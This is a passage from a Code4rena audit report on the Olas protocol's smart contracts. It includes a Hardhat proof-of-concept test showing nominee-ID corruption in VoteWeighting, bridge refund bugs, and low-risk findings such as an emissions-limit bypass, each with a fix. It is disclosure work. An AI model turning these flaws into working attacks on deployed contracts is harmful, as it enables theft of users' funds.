If the stale ID remains in `mapNomineeIds`, this check will fail to correctly identify that the nominee no longer exists, potentially leading to unexpected behavior or errors in other contract functions.

Test Case (Hardhat)

The following PoC demonstrates the issue using Hardhat. Add it as part of governance/test test suit (governance/test/VoteWeightingPoC.js).

```
/*global describe, context, beforeEach, it*/

const { expect } = require("chai");
const { ethers } = require("hardhat");
const helpers = require("@nomicfoundation/hardhat-network-helpers");

describe("Vote Weighting PoC", function () {
    let olas;
    let ve;
    let vw;
    let signers;
    let deployer;
    const initialMint = "1000000000000000000000000"; // 1_000_000
    const chainId = 1;

    function convertAddressToBytes32(account) {
        return ("0x" + "0".repeat(24) + account.slice(2)).toLowerCase();
    }

    beforeEach(async function () {
        const OLAS = await ethers.getContractFactory("OLAS");
        olas = await OLAS.deploy();
        await olas.deployed();

        signers = await ethers.getSigners();
        deployer = signers[0];
        await olas.mint(deployer.address, initialMint);
```

```

    const VE = await ethers.getContractFactory("veOLAS");
    ve = await VE.deploy(olas.address, "Voting Escrow OLAS",
"veOLAS");
    await ve.deployed();

    const VoteWeighting = await
ethers.getContractFactory("VoteWeighting");
    vw = await VoteWeighting.deploy(ve.address);
    await vw.deployed();
  });

  context("Remove nominee", async function () {

    it("Removing last element in nominee list, will leave its id in
the `mapNomineeIds`", async function () {
      // Take a snapshot of the current state of the blockchain
      const snapshot = await helpers.takeSnapshot();

      const numNominees = 2;
      // Add nominees and get their bytes32 addresses
      let nominees = [signers[1].address, signers[2].address];
      for (let i = 0; i < numNominees; i++) {
        await vw.addNomineeEVM(nominees[i], chainId);
        nominees[i] = convertAddressToBytes32(nominees[i]);
      }

      // Get the first nominee id
      let id = await vw.getNomineeId(nominees[1], chainId);
      // The id must be equal to 1
      expect(id).to.equal(2);

      // Remove the last nominee in the list
      await vw.removeNominee(nominees[1], chainId);

      // The id did not cleared
      id = await vw.getNomineeId(nominees[1], chainId);
      // The id must be equal to 1
      expect(id).to.equal(2);

      // Now, when user call `getNextAllowedVotingTimes` with
removed nominee,
      // it should revert with `NomineeDoesNotExist` error, but the
call success without reverts
      await vw.getNextAllowedVotingTimes(
        [nominees[0], nominees[1]],

```

```

        [chainId, chainId],
        [deployer.address, deployer.address]
    );

    // However, there is no way to clear it from the
    `mapNomineeIds`
    // If owner try to remove it again it will revert, since
    there is no nominee in its index
    await expect(
        vw.removeNominee(nominees[1], chainId)
    ).to.be.revertedWithPanic(0x32); // "Array accessed at an out-
of-bounds or negative index"

    // But if the owner try to remove it after adding a new
    nominee in-place
    // It will remove another nominee account where it will make
    more data corruption
    nominees[2] = signers[3].address;
    await vw.addNomineeEVM(nominees[2], chainId);
    nominees[2] = convertAddressToBytes32(nominees[2]);

    let nominees1Id = await vw.getNomineeId(nominees[1],
chainId);
    let nominees2Id = await vw.getNomineeId(nominees[2],
chainId);
    expect(nominees1Id).to.equal(nominees2Id);

    // Remove the removed nominee will not revert now
    await vw.removeNominee(nominees[1], chainId);

    // The actual removed nominee (in setNominees) is the
    nominees[2]
    await expect(
        vw.getNominee(nominees2Id)
    ).to.be.revertedWithCustomError(vw, "Overflow");

    // Restore to the state of the snapshot
    await snapshot.restore();
    });
});
});

```

Tools Used

Hardhat

Recommended Mitigation Steps

To mitigate this vulnerability, an additional check should be implemented to ensure that the nominee being removed is not the last one in the `setNominees` array. If it is, the reassignment of the nominee ID should be skipped. Here is a proposed fix in the form of a git diff:

```
    // Shuffle the current last nominee id in the set to be placed to
    the removed one
+   if (id != setNominees.length - 1) {
        nominee = setNominees[setNominees.length - 1];
        bytes32 replacedNomineeHash = keccak256(abi.encode(nominee));
        mapNomineeIds[replacedNomineeHash] = id;
        setNominees[id] = nominee;
+   }
    // Pop the last element from the set
    setNominees.pop();
```

This fix ensures that the ID reassignment is only performed if the removed nominee is not the last one in the array, thus preserving the integrity of the `mapNomineeIds` mapping.

[kupermind \(Olas\) confirmed](#)

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[\[M-19\] The refundAccount is erroneously set to msg.sender instead of tx.origin when refundAccount specified as address\(0\).](#)

Submitted by [haxatron](#), also found by [peanuts \(1, 2\)](#), [SBSecurity](#), [givr \(1, 2\)](#), [Emmanuel](#), and [EV_om](#)

For multiple bridge functions, it allows a user to specify a `refundAccount` parameter to receive the excess fees paid for cross-chain transaction.

Example shown below:

[WormholeDepositProcessorL1.sol#L59-L98](#)

```
function _sendMessage(
    address[] memory targets,
    uint256[] memory stakingIncentives,
    bytes memory bridgePayload,
```

```

    uint256 transferAmount
) internal override returns (uint256 sequence) {
    ...
    // If refundAccount is zero, default to msg.sender
    if (refundAccount == address(0)) {
        refundAccount = msg.sender;
    }
    ...
}

```

When the `refundAccount` is `address(0)` we default to the `msg.sender`. The intended functionality of this, as quoted by sponsor:

For example, when the user does not care about the funds, or they don't want to go into the payload data complications.

The intention is - we don't want to steal user's funds, and if they don't care - we refer them to the user.

However, for the `L1DepositProcessor` contracts, `msg.sender` will always be the `Dispenser` contract, so the refunds will be sent to the wrong address. This also affects the [Arbitrum contracts](#).

Impact

The intended functionality is broken and refunds will be sent to the wrong address.

Recommended Mitigation Steps

Set the `refundAccount` to `tx.origin` instead.

[kupermind \(Olas\) confirmed](#)

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[M-20] The `msg.value - cost` for multiple cross-chain bridges are not refunded to users

Submitted by [haxatron](#), also found by [EV_om](#) and [ZanyBonzy](#)

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/ArbitrumDepositProcessorL1.sol#L119-L192>

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/WormholeDepositProcessorL1.sol#L59-L98>

Vulnerability details

In multiple bridges, in `_sendMessage` there is a `cost` variable which is usually obtained by calling the bridge integration gas price estimator.

The problem is that when `msg.value > cost`, since `cost` is usually dynamic, the `msg.value - cost` will not be refunded to the transaction originator.

For instance, for the Wormhole integrator below:

[WormholeTargetDispenserL2.sol#L89-L124](#)

```
function _sendMessage(uint256 amount, bytes memory bridgePayload)
internal override {
    // Check for the bridge payload length
    if (bridgePayload.length != BRIDGE_PAYLOAD_LENGTH) {
        revert IncorrectDataLength(BRIDGE_PAYLOAD_LENGTH,
bridgePayload.length);
    }

    // Extract refundAccount and gasLimitMessage from bridgePayload
    (address refundAccount, uint256 gasLimitMessage) =
abi.decode(bridgePayload, (address, uint256));
    // If refundAccount is zero, default to msg.sender
    if (refundAccount == address(0)) {
        refundAccount = msg.sender;
    }

    // Check the gas limit values for both ends
    if (gasLimitMessage < GAS_LIMIT) {
        gasLimitMessage = GAS_LIMIT;
    }

    if (gasLimitMessage > MAX_GAS_LIMIT) {
        gasLimitMessage = MAX_GAS_LIMIT;
    }

    // Get a quote for the cost of gas for delivery
    (uint256 cost, ) =
IBridge(l2MessageRelayer).quoteEVMDeliveryPrice(uint16(l1SourceChainId)
, 0, gasLimitMessage);

    // Check that provided msg.value is enough to cover the cost
    if (cost > msg.value) {
        revert LowerThan(msg.value, cost);
    }
}
```

```

1
2     uint64 sequence =
    IBridge(l2MessageRelayer).sendPayloadToEvm{value: cost}
    (uint16(l1SourceChainId),
3         l1DepositProcessor, abi.encode(amount), 0, gasLimitMessage,
    uint16(l1SourceChainId), refundAccount);
4
5     emit MessagePosted(sequence, msg.sender, l1DepositProcessor,
    amount);
6 }

```

A cost is returned from `quoteEVMDeliveryPrice` that reflects the gas cost of executing the cross-chain transaction for the given gas limit of `gasLimitMessage`. When this `sendPayloadToEvm` is called, cost amount will be sent for the cross-chain transaction, but the `msg.value - cost` will remain stuck and not refunded to the user.

This affects multiple areas of the codebase, see links to affected code.

Impact

`msg.value - cost` will remain stuck and not refunded to the user.

Recommended Mitigation Steps

Refund `msg.value - cost` to `tx.origin`.

[kupermind \(Olas\) confirmed](#)

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

Low Risk and Non-Critical Issues

For this audit, 10 reports were submitted by wardens detailing low risk and non-critical issues. The [report highlighted below](#) by `EV_om` received the top score from the judge.

The following wardens also submitted reports: [ZanyBonzy](#), [fyamf](#), [Rhaydden](#), [anticlOck](#), [caglankaan](#), [ChaseTheLight](#), [capGoblin](#), [shaflo2](#), and [haxatron](#).

[L-01] Missing check for `msg.value` in

`WormholeDepositProcessorL1._sendMessage()`

The `_sendMessage` function in `WormholeDepositProcessorL1` does not verify that the `msg.value` sent with the transaction is sufficient to cover the cost of the Wormhole message

fee and the quoted delivery price. This allows users to pay for the cost of the message with any leftover ETH in the WormholeDepositProcessorL1 contract.

Add a check to ensure that `msg.value` is equal to the sum of `wormhole.messageFee()` + `wormholeRelayer.quoteEVMDeliveryPrice()`, as per the Wormhole [docs](#).

[L-02] `msg.value` must match the quoted cost exactly in `WormholeTargetDispenser.L2_sendMessage()`

In the `_sendMessage()` function of the `WormholeTargetDispenserL2` contract, the `msg.value` provided must match the quoted cost exactly. If the `msg.value` is not equal to the cost returned by `quoteEVMDeliveryPrice()`, the transaction will [revert](#).

Modify the [condition on L115](#) to check for strict equality.

[L-03] Excess ETH sent when sending staking incentives to Arbitrum will remain in `ArbitrumDepositProcessorL1`

The `msg.value` sent to `ArbitrumDepositProcessorL1.sendMessageBatch()` from the dispenser is only checked to be at least as large as `cost[0] + cost[1]`:

```
File: ArbitrumDepositProcessorL1.sol
164:         // Get the total cost
165:         uint256 totalCost = cost[0] + cost[1];
166:
167:         // Check for msg.value to cover the total cost
168:         if (totalCost > msg.value) {
169:             revert LowerThan(msg.value, totalCost);
170:         }
```

However, excess funds are not returned to the user and will remain in the `ArbitrumDepositProcessorL1`. It would be more sensible to check for strict equality.

This is also the case in the `_sendMessage()` functions of the Wormhole target dispenser on L2 as well as in the Optimism contracts on both sides; although, those contracts should not accept any ETH in the first place as reported in a separate finding.

[L-04] Allowing users to set the gas limit may cause failed messages, accidentally or intentionally

Allowing users to define the gas limit for messages sent via the L1 deposit processors for Arbitrum, Optimism and Wormhole may lead to undelivered messages on the other end that must be retried with a higher gas limit.

While all of these bridges implement functionality to retry a message with a higher gas limit if it fails to be delivered, it would be preferable not to allow users to directly specify the `gasLimitMessage`. Instead, have the deposit processors calculate the required gas based on the number of targets and `stakingIncentives` being processed. A small buffer can be added to account for any minor differences in gas costs.

Additionally, note that Arbitrum messages must be successfully delivered [within 7 days](#).

It is also worth pointing out that, while Wormhole seems to implement [functionality](#) to override the original gas limit in a message, this feature is not well documented and the following excerpt can be found in its [documentation](#):

There are only three causes for a delivery failure:

- The target contract does not implement the `IWormholeReceiver` interface.
- The target contract threw an exception or reverted during execution of `receiveWormholeMessages`.
- The target contract exceeded the specified `gasLimit` while executing `receiveWormholeMessages`.

All three of these scenarios should generally be avoidable by the integrator, and thus it is up to integrator to resolve them.

Hence, it would be highly recommended to strictly prevent sending messages with an insufficient gas limit unless the replay functionality is properly understood and can be relied on.

In the case of the Gnosis AMB, this has a more severe impact as reported in a separate finding.

[L-05] Variable `gasLimitMessage` is not necessary for messages sent from L2

Messages sent from L2, on the other hand, are always verified to be sent with a gas limit $\geq$ `GAS_LIMIT`, which is set to `300_000`. This value is sufficient to cover the gas consumed by the `receiveMessage()` function on the L1 deposit processor, which has a bounded and generally constant gas cost. The only exception would be edge cases such as warm storage slots, which could decrease the gas cost slightly.

Given the predictable gas consumption, it is not really necessary to provide a variable `gasLimitMessage` for L2 to L1 messages. The `GAS_LIMIT` constant or a more accurate gas limit can be used directly.

[L-06] `GnosisTargetDispenserL2` and `GnosisDepositProcessorL1` may be vulnerable to replay attacks

These contracts send messages to each other directly via the Arbitrary Messaging Bridge.

According to [Gnosis Chain's Security Considerations for Receiving a Call](#) via the AMB, it's the receivers responsibility to take measures against replay attacks (or accidental message replay) by the AMB:

Replay Attack: `transactionHash()` allows for checking of a hash of the transaction that invoked the `requireToPassMessage()` call. The invoking contract (in some cases, the mediator contract) is responsible for providing a *unique sequence* (can be a nonce) as part of the `_data` param in the `requireToPassMessage()` function call.

This documentation seems to be outdated as the `transactionHash` [no longer serves](#) to uniquely identify a message, and replay protection seems to be implemented on both the [Home](#) and [Foreign](#) ends of the bridge (also in the [live contracts](#)).

Nevertheless, it is advisable to verify that the functionality of the AMB is correctly understood and to consult with the upstream maintainers regarding this section of the documentation.

Alternatively, implement replay protection to be safe.

[L-07] Empty arrays of staking targets and incentives should not be sent to deposit processors

In the `_distributeStakingIncentivesBatch()` function, after filtering out staking targets with zero incentives, the resulting `updatedStakingTargets` and `updatedStakingAmounts` arrays may end up being empty. For example, this could happen if all staking incentives for a particular chain ID were zero after being normalized.

However, the code still proceeds to send these empty arrays to the deposit processor contract via the `sendMessageBatch()` or `sendMessageBatchNonEVM()` functions. Sending empty arrays is wasteful in terms of gas costs, and may lead to unnecessary processing on the L2 side.

Consider adding a check to skip sending messages to a chain if the `updatedStakingTargets` array is empty.

[L-08] No logic to explicitly support upgradeable tokens

As per the README, the protocol intends to support upgradeable tokens. However, there exists no logic to explicitly support such tokens in any way that would differ from non-upgradeable ones.

A change to the token semantics could break the staking contracts if they rely on past behaviour (e.g. a token introducing rebasing logic), let alone a malicious upgrade.

As per the `weird-erc20` [docs](#):

Developers integrating with upgradable tokens should consider introducing logic that will freeze interactions with the token in question if an upgrade is detected. (e.g.

the [TUSD adapter](#) used by MakerDAO).

[L-09] Staking factory salt does not include `msg.sender` which may lead to unintended proxy ownership in case of a reorg

The `StakingFactory` contract deploys new proxy instances of the `StakingBase` implementation using `create2()` in the `createStakingInstance()` function. The salt used for `create2()` is based on `block.chainid` and a nonce value. However, it does not include `msg.sender`.

In the case of a reorg, a user's transaction to stake a service may end up depositing to a proxy contract deployed at the same address but by a different user, with potentially very different staking parameters.

Consider including `msg.sender` in the salt used for `create2()` to ensure each user's deployed proxy is unique to them, even in the case of a reorg.

[L-10] Inaccurate nominee weights may be returned by `_getWeight()` for unused nominees

The `_getWeight()` function fills in historic nominee weights week-over-week for up to `MAX_NUM_WEEKS` (53 weeks). However, any number of nominees can be permissionlessly added via `addNomineeEVM()` or `addNomineeNonEVM()` and remain unused for over 53 weeks.

In this scenario, it is not feasible to ensure that every nominee is checkpointed within that 53 week period. If a nominee is not checkpointed for over 53 weeks, `_getWeight()` would return a nominee weight value that is higher than the actual current bias, as the loop exits after 53 iterations.

This inaccurate weight value is then used throughout the protocol, as the return value of `_getWeight()` is considered accurate under all circumstances. This could lead to incorrect relative weights and sums being used.

Consider implementing logic that allows the calling function to revert if the `_getWeight()` return value is from a nominee that hasn't been checkpointed in over 53 weeks, instead of unconditionally using a potentially stale value.

[kupermind \(Olas\) acknowledged](#)

[L-11] Staking contract emissions limit can be bypassed by multiple deposits

Note: At the judge's request [here](#), this downgraded issue from the same warden has been included in this report for completeness.

<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/tokenomics/contracts/staking/DefaultTargetDispenserL2.sol#L160-L186>
<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/registries/contracts/staking/StakingBase.sol#L266>
<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/registries/contracts/staking/StakingVerifier.sol#L256>

Vulnerability details

The [DefaultTargetDispenserL2](#) abstract contract is the base class for all contracts responsible for distributing OLAS tokens to staking contracts on L2. When processing a batch of deposits, it calls `verifyInstanceAndGetEmissionsAmount()` on the `StakingFactory` to check if each staking contract is valid and to get the maximum emissions amount allowed for that contract.

The `verifyInstanceAndGetEmissionsAmount()` function returns the lower of:

1. The `emissionsAmount()` returned by the staking contract instance, which is [calculated on initialization](#) based on the `_stakingParams`.
2. The amount returned by `StakingVerifier.getEmissionsAmountLimit(instance)`, which returns a fixed limit defined [when the staking limits are changed](#).

The issue is that both of these amounts only depend on the current configuration, and do not take into account any tokens already deposited into the staking contract. This means that the intended emissions limit can be trivially bypassed by simply spreading deposits across multiple batches.

Impact

Some staking contracts could receive a larger share of OLAS emissions than others, depending on when they claim their staking incentives. This could lead to an uneven distribution of rewards among stakers.

While total emissions are still bounded by other protocol limits, the ability to bypass the per-instance limit could undermine the intended incentive structure. Stakers who are aware of this issue could gain an advantage over those who are not.

Proof of Concept

1. Assume the `StakingVerifier` emissions limit is set to 1000 tokens for a certain staking contract.

2. User calls `Dispenser.claimStakingIncentives()` with that staking contract as the target when the incentives reach 1000 tokens.
3. `verifyInstanceAndGetEmissionsAmount()` passes and the 1000 tokens are deposited.
4. User calls `Dispenser.claimStakingIncentives()` again with the same target and another 1000 tokens.
5. `verifyInstanceAndGetEmissionsAmount()` passes again since it only looks at the current config, allowing the second 1000 token deposit.
6. The staking contract has now received 2000 tokens, bypassing the 1000 token limit.

Recommended Mitigation Steps

The emissions limit check should take into account tokens already deposited into the staking contract.

One way to do this would be to add a `depositedAmount` state variable to the staking contracts that gets incremented in the `deposit()` function. The `verifyInstanceAndGetEmissionsAmount()` function could then check `depositedAmount` in addition to the config-based limits.

Alternatively, `DefaultTargetDispenserL2` could track deposited amounts itself in a mapping and consult that as part of the emissions limit check.

The exact mitigation depends on the intended scope of the limit - whether it's meant to be a lifetime limit or a per-period limit. But in either case, already deposited amounts need to be factored in.

[kupermind \(Olas\) disputed and commented:](#)

By design the inflation staking incentives distribution only cares about not giving an excess of staking inflation per epoch, and does not consider any other deposits to the staking contract. This is just the way to limit overly greedy staking setups.

[OxA5DF \(judge\) commented:](#)

@kupermind - From what I can tell, there's a limit on how much can be sent and that limit can be bypassed (e.g., instead of making one call to `calculateStakingIncentives()` with `numClaimedEpochs = 10` we do 2 calls with `numClaimedEpochs = 5`). Are you saying this limit isn't significant?

[kupermind \(Olas\) commented:](#)

@OxA5DF - the check is super simple by design. One can't claim for several epochs and expect they are going to dump all that funds on the contract. Knowing the limits and that they have missed specific epochs, staking incentives parties them should claim one by one, or two by two at the maximum, etc., depending on their contract limits. There are so many scenarios when things get cheated on and be so overly complicated in gas if we start accounting for each and every deposit coming from the dispenser contract and other sources.

Note that the check is for the final target dispenser to limit the amounts specifically coming from the tokenomics dispenser accounting for the staking inflation. So by design we consider that the incoming inflation-based staking amount is limited by a specified verifier limit.

Otherwise it becomes more and more complex whether we check for one epoch, or several, and how many are several epochs. Plus that easily conflicts with `rewardsPerSecond` amount.

All in all, the check is per single token transfer per epoch / epochs that are going to be deposited to the staking contract coming from the staking inflation.

We have run extended statistical tests, and the best choice would be to actually get incentives separately for each epoch. The default deployed contract will have a limit of claiming incentives for a single epoch.

From the warden's comment:

This means that the intended emissions limit can be trivially bypassed by simply spreading deposits across multiple batches.

This is exactly the case for the protocol. You can't get lower than emissions per a single epoch per a single staking contract. There is one epoch, per one contract, and no duplicated contracts can be sent over in a single batch. Once the epoch is accounted for, there is no way to add to that contract from the same epoch.

If one wants to create 100 different staking contracts and split the inflation per 100 contracts, note that one would need 100x more `veOLAS` amount to vote for those contracts to have proportionally same amounts, and create 100x more services to feed on those incentives. Moreover, one staking contract can't transfer funds to another one, and thus they are all independent. This type of scaling is counter incentivizing the idea to cheat the system.

[0xA5DF \(judge\) decreased severity to Low and commented:](#)

Got it. Given that the limit is designed per a single epoch, I'm downgrading to low.

Note: For full discussion, see [here](#).

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.